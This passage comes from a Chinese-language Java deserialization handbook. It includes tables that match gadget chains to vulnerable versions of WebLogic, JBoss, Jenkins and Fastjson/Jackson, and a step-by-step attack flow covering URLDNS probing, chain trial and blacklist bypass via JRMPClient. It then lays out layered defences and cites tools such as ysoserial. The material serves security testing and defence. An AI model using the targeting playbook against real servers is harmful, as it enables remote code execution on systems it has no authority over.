| 10.3.6 (JDK 6) | CC1 | 经典组合,CC1 最稳定 |
| 12.1.3 (JDK 7) | CC1 / Jdk7u21 | 两个都可以 |
| 12.2.1.3+ (JDK 8) | CC6 / CommonsBeanutils1 | CC1 失效,换 CC6 |
场景 2:JBoss / WildFly HTTP Invoker
| 版本 | 推荐链 |
|---|---|
| JBoss AS 6.x (JDK 6/7) | CC1 / CC6 / Jdk7u21 |
| JBoss EAP 7.x (JDK 8) | CC6 / CommonsBeanutils1 / Spring1 |
场景 3:Jenkins
| Jenkins 版本 | 推荐链 |
|---|---|
| < 2.46 (旧版) | CC1 / CC3 |
| 2.46 - 2.175 | CC6 / CommonsBeanutils1 |
| > 2.175 | URLDNS 探测 → 按 ClassPath 选择 |
场景 4:Fastjson / Jackson JSON 反序列化
| 条件 | 推荐链 |
|---|---|
| Fastjson < 1.2.24, 可出网 | JdbcRowSetImpl → JNDI |
| Fastjson 1.2.25-1.2.47 | AutoType 绕过 + JNDI |
| Jackson enableDefaultTyping | TemplatesImpl / JNDI |
| 不出网 | TemplatesImpl 字节码加载 / C3P0 Hex |
场景 5:通用 Web 应用(未知框架)
标准攻击流程:
- 发送 URLDNS Payload → 确认反序列化点存在(DNSLog 收到请求)
- 尝试 CC6 → 覆盖 CC 3.x 环境(最通用)
- 尝试 CC2/CC4 → 覆盖 CC 4.x 环境
- 尝试 CommonsBeanutils1 → 覆盖 beanutils 环境
- 尝试 JRMPClient → 二次反序列化,绕过黑名单
- 根据错误信息调整 → 查看 ClassNotFoundException 推断 ClassPath
🛡️ 纵深防御体系
第一层:序列化入口封堵
1.1 避免反序列化不可信数据
// ❌ 危险做法 ObjectInputStream ois = new ObjectInputStream(request.getInputStream()); Object obj = ois.readObject(); // ✅ 安全替代:使用 JSON / Protobuf MyDTO obj = objectMapper.readValue(jsonString, MyDTO.class);
1.2 JDK 反序列化过滤器(JDK 9+ / 8u121+)
// JVM 级别全局过滤器
// 启动参数: -Djdk.serialFilter=!*
// 或编程设置:
ObjectInputFilter.Config.setSerialFilter(
ObjectInputFilter.rejectFilter(clazz -> {
return clazz != null && !clazz.getName().startsWith("com.myapp.");
})
);
1.3 库级别防御
// Jackson: 禁用 DefaultTyping objectMapper.disable(JsonTypeInfo.Id.CLASS); objectMapper.deactivateDefaultTyping(); // Fastjson: 禁用 AutoType ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
第二层:运行时检测 (RASP / Agent)
| 检测点 | 监控内容 |
|---|---|
Runtime.exec() | 调用栈中是否有 readObject / deserialize |
ClassLoader.defineClass() | 来源是否为反序列化流 |
JNDI.lookup() | URL 是否为外部地址 |
ProcessBuilder.start() | 进程创建是否来自非预期上下文 |
第三层:ClassPath 瘦身
- 移除不需要的库(尤其是
commons-collections3.x) - 升级到安全版本:
commons-collections 3.2.2/commons-collections4 4.1+ - 替换为安全替代品(如
commons-collections→ Google Guava)
第四层:网络隔离
- 限制服务器出网能力(阻止 JNDI 回连、DNS 外带)
- 严格防火墙策略——只允许必要的出站连接
- DNS 监控——检测异常的 DNS 查询模式
第五层:监控告警
- WAF 检测序列化魔数
AC ED 00 05 - 日志中监控
ClassNotFoundException中的危险类名 - 对异常反序列化错误(
InvalidClassException)设置告警 - 定期进行反序列化漏洞专项渗透测试
📚 参考与致谢
核心项目
- ysoserial — https://github.com/frohoff/ysoserial (Chris Frohoff / Gabriel Lawrence)
- marshalsec — https://github.com/mbechler/marshalsec (Moritz Bechler)
- JNDI-Injection-Exploit — https://github.com/welk1n/JNDI-Injection-Exploit
- ysoserial-modified — https://github.com/pwntester/ysoserial.net (.NET 版)
经典论文与文章
- FoxGlove Security — "What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common?" (2015)
- Moritz Bechler — "Java Unmarshaller Security" (2017) — marshalsec 论文
- Orange Tsai — "Exploiting JNDI Injection" (Black Hat 2016)
- Code White — "Exploiting JNDI Injection in JDK 1.8.0_191+" (2018)
- pwntester — "Java Deserialization Tricks" (multiple articles)
- Sam Thomas (Elttam) — 多个 Java 安全研究文章
修复参考
- Oracle — Serialization Filtering
- OWASP — Deserialization Cheat Sheet
记住:没有银弹。深度防御需要多层次的组合策略——入口封堵、运行时检测、ClassPath 管理、网络隔离、监控告警——缺一不可。
CyberStrikeAI · Java 反序列化 Gadget 链完全手册 · 仅供授权安全测试使用